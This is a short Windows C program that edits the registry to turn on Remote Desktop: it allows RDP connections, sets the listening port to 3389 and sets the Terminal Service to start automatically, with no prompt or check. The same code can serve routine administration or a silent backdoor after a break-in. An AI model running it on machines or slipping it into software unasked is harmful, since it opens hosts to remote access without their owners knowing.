1 #include <windows.h>
2
3 int main()
4 {
5 HKEY hKEY;
6 DWORD dwStart = 2;
7 DWORD dwfD = 0;
8 DWORD dwPortNumber = 0xd3d;
9
10 if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server", 0, KEY_SET_VALUE, &hKEY))
11 RegSetValueEx(hKEY, "fDenyTSConnections", 0, REG_DWORD, (BYTE*)&dwfD, sizeof(DWORD));
12 RegCloseKey(hKEY);
13
14 if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp", 0, KEY_SET_VALUE, &hKEY))
15 RegSetValueEx(hKEY, "PortNumber", 0, REG_DWORD, (BYTE*)&dwPortNumber, sizeof(DWORD));
16 RegCloseKey(hKEY);
17
18 if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", 0, KEY_SET_VALUE, &hKEY))
19 RegSetValueEx(hKEY, "PortNumber", 0, REG_DWORD, (BYTE*)&dwPortNumber, sizeof(DWORD));
20 RegCloseKey(hKEY);
21
22 // 设置 TermService 服务为自动启动
23 if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\services\\TermService", 0, KEY_SET_VALUE, &hKEY))
24 RegSetValueEx(hKEY, "Start", 0, REG_DWORD, (BYTE*)&dwStart, sizeof(DWORD));
25 RegCloseKey(hKEY);
26
27 return 0;
28 }